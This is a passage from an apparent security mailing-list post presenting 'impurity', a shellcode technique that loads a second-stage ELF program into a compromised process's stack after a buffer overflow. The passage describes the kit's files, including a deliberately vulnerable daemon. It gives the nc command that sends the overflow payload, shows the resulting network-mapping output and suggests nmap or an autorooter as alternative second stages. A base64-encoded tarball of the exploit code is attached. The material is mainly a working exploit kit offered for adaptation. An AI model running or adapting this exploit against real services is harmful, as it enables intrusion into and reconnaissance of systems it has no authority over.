uses an unsigned short to store the executable length, thus limiting the
ELF binary to 64k (bla bla excercise for a reader bla).
5) The first stage shellcode downloads the second stage ELF binary from file
descriptor 0. It should not be difficult to add code which utilizes "find
socket shellcode", or just creates appropriate socket itself. Excercise,
reader, make bucks by selling this enhancement, bla.
Having 1-5 in mind, executing an ELF is really simple - just read
appropriate number of bytes from fd 0 into memory starting at 0xbfff1000,
and then jump to 0xbfff1074, where the entry point should be. Execve()
demystified ;)
Provided code
bootcode.S - first stage shellcode
bootstrap.c - trivial stub which emits to stdout asm from bootcode.S,
adjusting file length u16 in its body
filesize.c - a helper which prints the file size to stdout
script-ld-impure-into-stack - a proper ld script
tracepath.c - a sample second stage. It is almost a verbatim copy of
tracepath.c from iputils; the only changes are a few lines to
prepare a command line and environment.
shelix.c - a sample program, vulnerable to a buffer overflow. It does
chroot(/var/empty) and setuid(12345), so we cannot break out of chroot nor
execute /bin/sh; also we have no writeable directory to download any
executable to. As an example, we use impurity to produce a second stage=20
based on tracepath, hoping to learn the DMZ layout. Yes, we can use nmap (or
linux_autorooter.0227) as the second stage easily.
Running a sample code
You have to install diet libc (http://www.fefe.de/dietlibc/) first.
1) Run "make"
2) Run "shelix" as root via [x]inetd or "nc -l -p shelix_port -e ./shelix"
3) "make" produces "ovdata" file, which contains buffer overflow payload and
the first stage shellcode, so:
$ (cat ovdata ; sleep 1; cat tracepath; cat) | nc localhost shelix_port
Shelix: got token length 2
Shelix: got token length 2
Shelix: got token length 2
Shelix: got token length 2
Shelix: got token length 2
Shelix: got token length 2
Shelix: got token length 2
Shelix: got token length 46
Second stage OK. Which ipaddr should I try ?
c.d.40.1 <- entered from stdin
1?: [LOCALHOST] pmtu 1500
1: x.y.131.57 2.127ms
2?: x.y.20.176
3?: a.b.40.5
4?: c.d.40.1
Resume: pmtu 1500 hops 4 back 4
Again, if you want to use a different second stage, all you need is to comp=
ile
its sources instead of tracepath.c . If attacking a different vulnerable
daemon, you will need to change the overflow payload creation ("ovdata"
target in Makefile), but no need to touch any assembly.
--1SQmhf2mF2YjsYvc
Content-Type: application/x-gzip
Content-Disposition: attachment; filename="impurity-1.0.tgz"
Content-Transfer-Encoding: base64
H4sIAFnWgT8AA+w8a3faSJb5Cr+i4u4kQEBGYDsZY5zx2jjhdG K8GE/PTNpHU0iFUUeoWD1s
Mz3e37731kMqCXB6dzM9Z8823Y2lW/dVt27dR0m0v1imkZ+sWrbV3n32z/m023vtN2/24W+7
/eZgr/BXfZ4Bwl67u9+1bftZ2+7s7+8/I/v/JH0KnzROaETIs5BFtzTYjve18f+jH99c/0/0
C5v5AfvGMtp2u31QWndj/e19W69/d68LC9+29zqd9jPS/sZ6bPz8P19/GgSHZMp5EicRXRL4
ctmSJnMSz1ngPxB+59GEEvSK2P87q1YzXIPM4uLa5R6zeLVy67 qkxQ2uWxCr+fVhDr9SDFwT
VLVcQMpGvj+qVjNVD3OtLbda8XyWEIH3Y9BsTZqxG/nLpBV4LeHrrOWHCW/BqrtfUMt8xgYX
0ooJoiS+W/1ui6DvDEm/gk1VGvRQGdawk7J0Bq9qYx9mZjewNcgcq8pV2ryQ2dJ9B5dRnD QR
EqSAMmdkms5mLKpWliwKSIuRV8sIzEN2dnceup1XFVKpHBPlA0 Af8wUjF6PLeJ3gpwc2/emh
bQPh21dAdZxT+WHMooTwNJIKELDILRPzDXB5qxVrN1f8b9ZuNs VsEn8rMGQLPyEhuw/8kDXJ
/dx358SPAcI85pEEFoNFCz+kCSM7s1uWxDugg7YveAhz57yCn5x p1Q0YDcHBogVpzUgDHLXx
n2Xn1yuV2zZTu/qv3sf/008h/huu+y1liPi/ty3+2wf73X2d/9sH3TbG/zftvd/j/2/x2W1U
SaMQ1whCKpXJHLbUMuK3EV3g7ppFDDYAnyX3NGI9suIpcWlIIu b5sAP8aQq7DbYlDb1dHgkO
C+75sxUC09BjkYg3uDNjwmfi5v3FNXnPwLA0IJfpNPBd8tF3GY QLQU9BPkJh13lkuhIk56jF
ldKCnHPgDNGVhz3CfBiPyB2LYrgXDDpakOLaJDwiNZqg8hHhSy Ssg8YrEkCsyGgtaQJykiZz
HsWHlZOAPbAV+SH9ewjBhN81ydEXcf3HRdyx/DCyqGtF6TEQ7Va/80M3SD1Gjmi82E1WSxZb
82MDHCeez9dAgT8twtIQ7OqV8FbxbszdLywpwiEQpg+7LIr+I2 UpK44BNFwTBzH7tgiD2XjT
NRAE2GTXD4vwiMU8uFvXLPEXbB2alidLoyXdRcYlXP82pAHCQL 3UTcgcHDDh0ar6S7UCKaYy
58u4V62oURR2B34Ts9DD6171sVctkxL4+/lg76ZXxRwFN8skyrHQktTzIgeSA8QASBS9quOk
9gGZ0pg5Sx4BoOryEFIW0nPwjzmjHumTzlvJcpGkcHewDxFMyQ AlHchAfdKyDcgs4gsDFnJH
GpEBsJ1rBNttyuZehFMGTbodkiTB+pyTOznbO+57BDOUc0/9pIacZ14diWeeEzO822AxpK6c
nzl/HYxHtZeAUpf3V4NJbeY1iQYld1ZyB2xc0NHO7lMJaCNfFjA3AZ rXtqRqkovrjx/198vk
Dtg8VsWMI+aC9SKlY1PYE+ZWV4sL44am2gwkcu+gQIEBdw4x2o Xrz/t25ybH9GFNXIJ/ctgi
vkVa+JPDXAVsuAUweoDDHhLwIeY5oB9psOKo9g/8u8WUJVgjYomA47TigCc9PcNEebAYCD3j
ToRZFsfKRQRsGvEvLHQiDoEVRVcBAbw0gRplwRawurWX0jxNoG kSrE/4rCZBdVw/MIoF/zno
zMD4ZWZMPRCwEOBFQhgGC1nwnxPSBdLVwBHfNuovlQXM0QIDHD fJQQJKlUtjACWRbQBnAb2N
lU9pGOy6JOIBQF2pdGmgINqVmkOJDKaHZeAzj65q4H/SFVErMB7goxcCE+nmcNEkn67eO4Px
+N+vB9cDYbQZqSHuEWnXCfimAIgQSvp9Mjh5fzK8qAMYGCZpFG YrB6SVWw4bX60S3IPnV4yF
hVCBKio30Cut/EDfosFRZaExuFF+i54Ed9C6zGNhayv2QxGj6qRlBiyhMWIf99v k5UvhgjCd
gy7eYDxEwI2FUuUMcxWKozglrcTLfCgPuJVKkUAt4WO1UvBdBd aW7ZddLrezBFgQFxCrTf7x
D6JBeSzq65VZk4IGrDwSFoC/C4R8Zjnnnlo8Oa2MvSCVazbDIgHjBCCcon+cD8dXkw9n4xq6
TL0ngon81hgXf87Gm2LAmBTeto7xGzbcHRNTuxp9dIaXaholJK wYEGd46YwHp38C51R4wjlq
2yNXXepydjI5EfzqYqrKHtuFTCYftYDcNxsYqBv1Jxj+QgSJ6P 5mtR0cP3zh/RSSHWkBQxCY
TBBqE8s9heLF7hTCNR/YZ3444z+FO3Xlf7jLlFsJutYxYw6P/FuIysKUzmDgjMbD98ML5+Po
9KTE8EXHe3dIXrTs/RhVAw9okp3PAvHD6GpyI+QYRnqS//D0k1o1kZAoJiS78xYT0qak0YiR
R2HN1FCjXmOvbRGzKlgKObCvl7WTc2d4MZhAbALC1jFucMRvCk FZiKcqwCv/Uk5+3BZhyZj2
IcEJq2FhTZxkCQlsI62iGdae58WJ8gsx15mYbGf/QExWz3bOY3DBhDTmAjqbBWk8h/l6sCel
u8zBALfoV3EyXeFsajXBD9y1PEs1vwK03iTKKpJdHCrlZwWbiD vA3XkRk9qLuA5zmpN3ZN46
nss8dqhsSFWSM4zQ2u8I15hlY2YMydGUB+VYMlzIuCY2DkRcI5 hJ2FH/YE8nDLW5DvZbeTFQ
yTwvIwCPKlHYnT+USYoIsC4mgukXMgto1Of9zCPM2dF4tVgQ8A ecocKtF7RTVEdlbqKI+xWc
DFNBXSitBI4DHeIMt0gW4FsCoXUs7+oNWx4SvK7l5aeBgrdCz2 yZup71ot31FmKtkPsucpCX
L/Cyrg1USB+FOdRE7yvHiUovMhJBI+ryKEqXCVwt6Srg1KuTHT3B +N5P3LkOIqJsEFN1sQQb
TIafBmej68mhoa8OdNOI0S89jQlh92r414GJuMRWAwMsTEuyxz gpaGUTkgOlPYqFR1nC6eji
Yjw4v74anJlSAMeFbltrlXcz+fK/wyWH/ZRXsBWzxTG80AjeUujleDQZmeKeX24I9BIXg/M1
qHhy+uFQl2FfC83gmoBK4CNRdZaz7fIIHjuapUR5OTJriayVqf thq7oQoAxtM4KLrQQnp6eD
qwLuyQZcj81oGiSbPEYVpcTwNbHwcMWj2g4oRKB2GI03JdJipa paNNF1ObC4W5s0X3disPaY
DcCzjF4s69oa+JWnPQ1v1CUZJhrVwUhAs90ETpiA8hZHFGF+v9 0j/pGN369f50FDNIvod14E
UQCrRdUnV2Qbn5XGWNMm0L/XsvqYvFbHAMIqxX5BsjOaBlHfSvSswlWCzBFdEaM0ySKLwTjC
Rbuhpoq7saUPEpoEAlO5OoBWS84iS27yFkrKYyKTfOaceVeDvT WKkZl8o+ZtrRVQ9ftts4sx
hzIpa+1MRTLEpVVXr4ldf3nQ7anYjkslVyk/lJh59Zy5e1ewhU744rYum7Gz0cXkx5PhRM62
lINFvRKxZbDCSTP/DqLw27qIiXrihSk95p6/wUiyQTPrJVwvqAP8gHkm05zlIx7V4OMcIs5e
0pjeshpe1onj0ESdg9ZqIZc0ok7bQiHOaZR8qJhAOahfrnHceM 5EPrfCG3LkwTLgAw2fh8ef
d4/Qk49vVCRgD2Dmlp2dtVR54C2oH4ptDK7jQkEuKq4G3NwJsWvVG 1OHDjNPXfBQXUh/lwyW
CubOccXv52AnguWcLPH4MqlJcSgH5hLO3+2A10KRMBidq15TJE ggUVU0hsJX4avDCq5c4VTM
LoZhHQhJr5KXXiiNtPriJDdEzVEweZ0DpFsKNNDCRreWC4DLgq dkmNnEeWpee1+NTn9wzt6P
Tz7B9tRHAoCZnQjoCCsJVTDGNbClU5lBaEYXPjhrXxexqNIShS aRO49Qs7vP7ZsmebX7Sota
SimNpd6yeezqE5pwv7Z8bedNSwlhDz8wOGdm3Y0lsBam5cxLHd hcTatAtGF2ELrdJZ6u5LOU
5fucYbUtr/dEO8Gx+4EW8/LT5PpseHUKm1ufT+A5uvsFXQY3pOyHm4gLqA7ijqDzhUaIh1mY
4LCbiitQQt+gLNdnTU8LVY32r5CnMDeI+roE6LR/pQTAXJegkiJsyL7dw3151O2Iv2upsaKz
NVwJC6ik9bSKT6hn6pfpZigntCvk7K6RslWayusLM1GZ50Iy78 jE4/GQFcZ1WjJLMyNrHZFN
DXDIZbowo/ljHvWxICQTzskCHwJhnjwkZqEtyxJU5bBENGZxumAZNsmQ5d6S dfOxzLKaUORh
iasQCvhYQJcopviOgkGBKEhTqgXFQrRFAsAjIUhVGK8bDcLCOz/CUC6eVWBOEOFfRnPYv/Fn
fDYi7/0lbl3d4UuUxQo4fLZv+r+0H3vV3Qa55MhJsV1g7oCloiSmISPL AHIWPgGrqPG+IMcC
UTzaqV0N318OLwfgdEPI8+cfzZlcMZdD7pVvBox+sMiP8qm+UI rEc54GHhlCXlyRd2rWsUtD
XOgYrCPxMOigkrDk+HTQ5QtYV4/gawJCLzHj9k1/J0uvOz0FhTnutMLstnPTlyw1oHsDfo3M
T2kQENmD0EDZVDDXWbcr8l8sVuNf/XD3V3wKz/+zV0q+6eP/r73/1d4/OFDP//fedDoH+Px/
f9/+/fn/b/F5+rk0Pm+G6hWhT5eUuokBZPiCgKPqruf9jkgCa4VuKgvdF7F4 uwZrDRFxjSIl
Sy+PghuyljWMfYMnpInMTVk1BsM7G8msOHHE2zvH8kHtZn3OsZ hNIBUEWNdYBF+FxFcX4gVs
eBbhmwOwVSJo3YzX0sz4K0Vm6cfDs9dMNowVmoh/9arnn8L+z2f2TWV8bf8fHNhq/3f22/ie
EOz/dvf3/f9bfKwESoaqdRvwKeQzXHzR8Bcg0BVn97BXoVNg2T0eEPBZNSO EQumBRwF5waYP
TfENLQO/ywHeQ1XxOBQj9+T79sOUTpkalAwPFRWOzWYzcCAbx90HPBNzA3 WpGLuCcbyEaJDG
cznmQQdOvcOScCqJpuT7rrytyI4WxLxtQ+cGsgVY4/4MQcHjuL+h3kinQTYIilagPsgBqI4i
9zKMn0MkR0WkasZ83uyJc4Wq5H6o1bK15FwrtQKAEvJl5VuHjr X9L9/T/fbv/z2x/9902uX9
/6Z78Pv+/y0+qmEQh1PK02r1Zh4I8EbtV7yUuxPPTzYUDl85dUpDbASYh+V 8lCDXXvGARpYK
67n5vb9YMPEiH9DcJnN8rU+8PYxPOcjz7ETcbMflCyLivEQVDb rZeg5DWwRBNQL7MYa2EdTj
/Au0DlAFUBKmiymL8gJFMisKvIddxGq2YbrMcKSVAxE7Q1XjTZi 5CX4J8DJMGr6p1whYSkj5
fPK/u/6F/f/Eq/L/Gx97ev/be92s/u/s77U7gP/mzcHv+f83+YyuJ5fXE+d8NP50MqntsGDW
7bT87tsD8PXCXVU8PiMFYL2qyE/Gpx9qCKpXBxeT8V9qjnT26tUAh5yz4bi2s5vG0S4itSLm
zSn4mXhtNfCnsH/JGuZWOHdpsHFUwrBLP+PknokfBIjXe+VrwDEjeEQF+r+rwkQc5 +wvFyef
hqfioBWnBm381eB0MhxdXEG8IgQYjSF3t3gYrEjMXDx+j5tkAZ 4AjHFvEKyeYOgWz0IOgQEB
MgsZ6rKlTV4TfJY7Onc+DE7OBuOrHqIAMYuWRH8OyS+kUVPQOn lElDmFWoaUURCqELxVGK8W
ZQQJNVCSaBNKEimU2zC11IvPBooBXcdzvE14jrcBM9qIqWVHLI A5Q5dVUE9DcyRqYOVItIQl
Stl1VgKaXVkNeY3qgP994aHLLICawnI+prCMDzUZ0Sc4WTNQcF 0hhJricixTXBHLirj4KUqJ
lYIa1xvnFxXnl/MyBRq8aJEZfYKblalVUCxXa6tSXlGpnI+plKHSdoUKnKwEEStF F8jVSbbq
k5QUWudDDUa0wKnsBSWNpnFcUggg+dhmdaYldcpMaM6FmmzKuh T4WG7Co3htuQTUlJajmQJL
aJa3kZlXZuZtZFZCs2653rwmM4CarHIkk1UByUKrrDPKLL7N4C V751xMSbnFtxq8aO9lsGlW
ADVl5UimrBzJiJECCWCYnwj5YTC4JDWROSAS1gH2SPrthz+05T 9IayhgCMh5G0GzyBuwZMiL
k3RKspi3Fu4E8q4auadR6Ie3WbYkeBA/p6EXYN2/ZK5PA0im0xURZYTFFpbIu0qgwWLjZIyA
usUQImxuor0cj/40PBvg++xMzKtPrHqvMLAFXgSbkdhcMR09s8C5LWYKBHsjua1w 2NyZRXTB
HHyTRmGYMIkGNj/xfob6VbRG+LQCX/jCEgfvhTqqMgEb/8jIPVXPayQR/gKUC+MJ/Bhfk9RM
7v1kjr+KAfgSn8hweR2iIQQgXep1w2rH6kl1BmEMXYNAdZxlxN ArHRpFdCXrQRLQKQuI/GEZ
/oJ0RWggekKhoVTGFc96fChR8Lc2CzxxFa2fIPUYLjC6FmL4nhx T3tYk0zTJZ4TGZxG5F/wA
EBI3YvijUIOEsDuAQ1sIGwybqJjwNMnsMmWELZbJKv+RafgKX2 hiSbIy53/ycfj+otbtkF3y
tuRTG82Q+VJhsLA/zQG53Ft5Yju47szOdqmbRT4h7+vCcFU2C8tHTGE5dE2YwcoUZh V2XSlQ
yb23ced5OkRdjcaT2inU9pPx9elkNL4SUUJztg3Oqko2NmSpFl BlQLJRoJH8Rc42yET20Kl6
Q5ZGHHxqmRXdetMbmmWRTo/Vddntug57cNkycRI6DVg+k/JI3hzQhe+Wpy2hCscoF4pGh92O
P0hPYxbDtkqm7NYPLY7hBdbPk1tMOAKfVRUxwsSv6fBREbBtkl i0aQt81CICB2xCP9bo4rfi
sMv+jbkUxAA5xA34l0J0CjyXRviGYqKx8dwGN+eCJvi6ri9/+Al0UXako1Gpm6QiC6H1Cb2l
GGuMSfSQVCNnQQSZizMhDLDyN+E4W5AHgYFqdK0a6D0B+foWwh zMdcEoBJgEWt/tistA4/kR
c8UvGHO1NAFaIcyzpvKHHK+myrQsMf+Ih9AoQicAfXKHFhLIWT TEFwwy++MLvWLNIvyZiSX/
1wMkDRM/IHSWqF/0xjzCl6GFTEvTTjZyNrhJXvhjLrS+aXAchH5dOt6CRmh9fIoPv rHAtDXF
VAB/i9OvDf58+vH6bOCcDz8OpDmkznVSMIdGF8FAjsDGKw0aFHKjbN sEG2zvbRD2hG6b0KVu
3hbdvKJuP7t5e1+OEDCWBQe+qQoEqKwE5bXEdZiIbiqr51WQho po7DgQxfJQLwK0UXcXzCSD
CozW1Z0Ig5ui4FTF6gbE6U+fRhf/1d61/rZtJPHP2r9iIdwHCZVoSZbjIs49comTC5Bcg/he
vSIIVtTaZi2RKpe0LeD6v9/8ZnbJpaS0OKDIIYAItDCXq33Ma2dmZyb8AjUHSoJmVyqRrw1a
hhHNh8cLdFakab3JiOHdBuEokZKjcZwQ38hgQsD803ZIxPbTOK KUcHhLUA9aAu3Mtsyc2Wys
IfJYNGIKy4Tay7lMm7pqlOGGaQ/qDD9/TpkIx2AXHdHRSBC6IsHuSDta1Dc3sf7daCmEqkWL
m0mgADR7EsGfrbOo06P1FuEtobNktd+Jm3e78YD73XYGpBPDPu 4PyM17/TDkgX7tkDhBgbud
jfjmRnd++c/nH14JyFpwCZKvtutFsYKcZQKLet7sGTcw1arsnimTK6pAEsCAk aF8BYJAMHLi
cR+0rzXR8CQgqVnU1CNNFrePNW73u+XopgN90N7sFZUWwtCcNe h4/dEsn1yZInlkd5bQHnQG
abtGwIbb7yvtOyCeJlOW4PI268xqSpPfHBjJt3dm3dQLmXanb2 jfmbY7kextD4jS3pVCD1mj
wPnFLBalvd//rbR3ujbY2OnaYsM3NGrdTkdR6TrADjy5C+yG4P0URXqwH7V3+q 3NYUT79gaK
V6/fnLx78/6qAednCOfBmruDeGk+dDde5+nB7s2HTnfk8Bzs3nzodL835WHS DB/Q+6sIzPtC
T/f+z5dI+o3n+NX4n9PTpv7POf5G/bfj/d8XeQ5c4/u6IsWn9LYsiopjhv2f/RPioxP2ieCm
zdmqzpaD6ex0fib5J7tBxiSk3A+nsyakmJOICeVtjPGmKkf0fw jY32tfoALR60g/WyLotqd6
0VronUt6DTiDaMa5nVh5zrflkpIiSUqsFQwwsORX+AwULIg+ff PNR8SkSxLTBSdcVKFUQc+v
pv36s2p+yIHAbax79gyZJoh1j+K2r3ypN2jdFWeR+sAFH1dOY1 HDQIb8yNU6dlKne19KSHX4
/8Pl85fvLn/zOX7l/n82O5+19T8niP89nc9nR/7/Ek/vTUQAqrfYalS7Mlyw6zLRL2p4JW4K
/Sz1f/3pZv2Y5Lb6AxjzBRSmTaWaUcRBg9pDiNHhcBLnfRprH1FrjdtC Wd6UxbImE82ophKg
HvSjCoH9YVvbjx1anBbykCPpmosxeZ80io5pZR8tLZH7Xb59Jf 6FQd9FeQX9Iauh0pGXAjc3
/L2IsoFin7Hrl73nmbsLHig4Mw4WLqT+zq6ueX2rdQEnEtxb8LI MxN+mFQRFgewIA8WOIDji
VUerFdEga6NNbX141FjPn+jFtrJkw/3dYXWKPWBkb5aFSW9HPGwTrvRgHO2JdkOmKFk6m4J/
gjFbu8XwF0KvjkA+1nwbwIFG1CNJQ9G3kS7rXAf5oAeCC3Ghu2 DUEHCVQAVAX2S5KbeyFRSI
g32EfAmih6RLI4DWagv/3HW9IjSTiLSPm1UheDB6aeyazCWZk9bh/AnEAR1LRpxelgXZ3kta
b3ZP2CZz4YLrPNZYJjILAaDU5ACPo33QfB736oRWStoO0TcBxJ QNMeh33129vHzFc7zJobRf
3tzQ0l/UZUm2I42QRZvAmBY2JS0CeH7L8SyIcNEIGbkgdDzYe6BcIT0PO yMSLrhO3XdXJ6ZM
bwnoaVUjgcnnuCxQ9ZL2Y1YjIOI+45KWt5ZhxUAGvPMlfIxK9U K9vN7r92/1/YxaiFrhNyT2
ww0Lp4wS6HNdlFyDr8AMgZsCKxD/tOgDg2Yr3Hmw/3Klbw1btwrEA64iWA3WBQGNjsk0Iw6g
vuxKRTAGamWFiz4iym2i1XSo4/mBDt5lUS9WUtnPkSZgkaizKE2Z***OzeOyWc1r87m08N4m
ajbUz3MCS00zRfwUh+QwqRmmEhjaj99O5t/SkZPwguqSyWTk+YoIG929A6mpONgZjqBKsILs
uV6RJPKrSuBi5WsrVec03YDAUPFllDit5QaK5R8mbXmvznObWu do03BHS+YBIVC5YlWzv2DM
aDfBDS0S1bMFA0iyrvYWyp45ZqVKofSFBfmG6z1eL/8ag0ehSmPxwMfXfxz8x556AroKQVUV
vxYpbtPWxKlENSzoaHcRJjInIlur/k4w90QCtvvYLUvPxjseEO9jt+LhfMleQZdnF09MhrML
iRmFHIg69GV+a/KU3TWtvAZxElEKAFXYgtvdAzPDVq+ByyRJRihc8enyX5cvRvQ2 xL5W9prA
SSvPFSR9CT7wNwMI97Zlot4RixTM/VlE/Tgh7E+1CBOWSqiR+dnauCPVyWIjCqmBXycnWZSH
Jw5HEABRHs1lGeW8f/YzAahKPJQGCXhXl6//wVKYY1wBsDeMemF+WsyjoDCPJL1fnJx6auCs
7RQ7JrUBAnGYqFPmeEMLKtcd5hy1lMpHU3RHLd60jH2qP3KaoS BFgTEhEVjkN6S8QYlf58TH
KUSEixw54bK0OaOgLMAZR/SRMun/jUiXDRywaEfMBMxHJGecCPz4wFYDorvxX2mb86H+MwQA
3M3MoAwhL59kwShTQKu9IdGW8gYbJpfLLE+uCqhriXisl3XpUa cXJYloIi2hZcaAiCF/YPIu
liJXwTWKqIwLGbRiE8IP5zC40UpxZItDl08iuZYTx3dxfQ3d7d bAn21z0l5q+Myf51vimpHu
c8Vr7KWPxdNP2KeKI2osmVJBeWgA4tFmK9WAwO8ZuJ7djU8nd5 xwrNnjJ9pWc/BFmmGbmzRU
fOtIENiJKMfGq8IHIOxpWKC9Gutai5IBl3506tGPn8zvaJ6V0f jvMFvjE2H+bPgLWmHQUd0+
60Tz8YUYtFS1tCLWaZoJs2FXtoHms7Re+dgNCdP3RwAdEiuCnd N93LoqKUnQLqXPFW9Zvwt6
G6uPpDFBcvvuws8kMcOOR0o2O5Iza1Gnd46PaRpWIAdBwfKV1Z 8RoELayF/MPT5Px2fALRHZ
cuTRILoob5/phvHP0q9RQDlLJl6dBN2D1lkL9gBb6olE3nqRHR100Uk2Uib3M R8/1mvcAek2
8QbRHDZQSY6U4g3Lm0YDAyhQLmQwJNyst67KrqEQXAxJvXofSJ Mrl7dESds4XNw8yqmhPl63
0xxTJThENXMntAvbn2TOWvbaDj5CshGghI2yZeP9CShWS6DGAI tiuVVtAi/NZTQtYtPcKbNz
QmiSh5AK62Fa9Ytl8kU2YSwCkPRUnTr3nATO6IzpPRwq3joysG 8WJCDXBL0NdFTVi0fhXWcb
ELXjS3hWo5FHwncEbE3oa/vAZyFAhvxxyfU23WzvndMxUcGzGa+0sXPu6xWKUHul2Pii+I2a
x7uAoRW8YK0TTEydjhssRDV4w4OrFXBQES61+fc4FlVQvb0lci E60IMVbTsvxCDjNbXBALEB
bPJtbPNWBYlpJ8cCb4+PBRz3jcUS29xdsaRQQmTJUV4BHVxxwF ssK2tKfxP27t90gpFpR2bx
915PRxVwzAPNVw9oaxzW/8nUtGRYbGUymc3OhzhL9+ShaBswZD7UfGnWYoeZ53syIr35wRF h
OGGaM0gPbqtq8/Tk5OHhIbkmhSdZ2hN8xceToTffYX7Q4LoPWdaH0cBvQhB9rIpx Qlypf3j8
iGKMSwjNfk60stLjjS/6LwVWxlYn3kveh5YjgwawkhiWfzGgzxwWosaaKIcdugoF5EBDq vrc
cQJ6eqp+pwek04R/kOBCu5W1Gz290GhtkMavQ/0fTYvnNAlUcok3oD7rmZx9zZ/mT9T/UkBC
pckymU+Saa/XezbGGWBhfrL4YV+y0tM/PtVRlVC+V+NaH9OzyYQ+P9X6Mdkm09NpcnaOj7Nk
OjtfO6Vn9Et8mtH450+UPqV3kyww35nSc3oLs8sFcaeSCEbnUh 96rrn4x1yp59BrRwhCgEsl
xPCIIt/qwzFbjVjZQ2+2osQM89a7wlnhSNUFuYYgS1xSR3KYBB4pmBVEv/fGNNO0olKJi2Yk
q2pMNszE8lrk9y6psxoCw3YQWEVJISEcY+GfHxqK7UxCMAxZFX DqIJXHOGfXC8iM/7fn9Pgc
n+NzfI7P8Tk+x+f4HJ/jc3y+rue/EpkFWAB4AAA=
--1SQmhf2mF2YjsYvc
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="impurity-1.0.tgz.asc"
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)
iD8DBQA/fl0zP2KVJkEIREsRAsX2AJ9Y41C1YISESNwljA/AoJATxfPKGgCfdMeX
RpOgRZvyoRaHuPIFKnpWsik=
=WzvC
-----END PGP SIGNATURE-----
--1SQmhf2mF2YjsYvc--
--VV4b6MQE+OnNyhkM
Content-Type: application/pgp-signature
Content-Disposition: inline
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)
iD8DBQE/gdkLP2KVJkEIREsRAgXGAJ4vRkH/CRmoA48oHYdR4Z6dprR99QCeJzzD
2rtFkAGUXByd2kCTJiGSIM0=
=kSoO
-----END PGP SIGNATURE-----
--VV4b6MQE+OnNyhkM--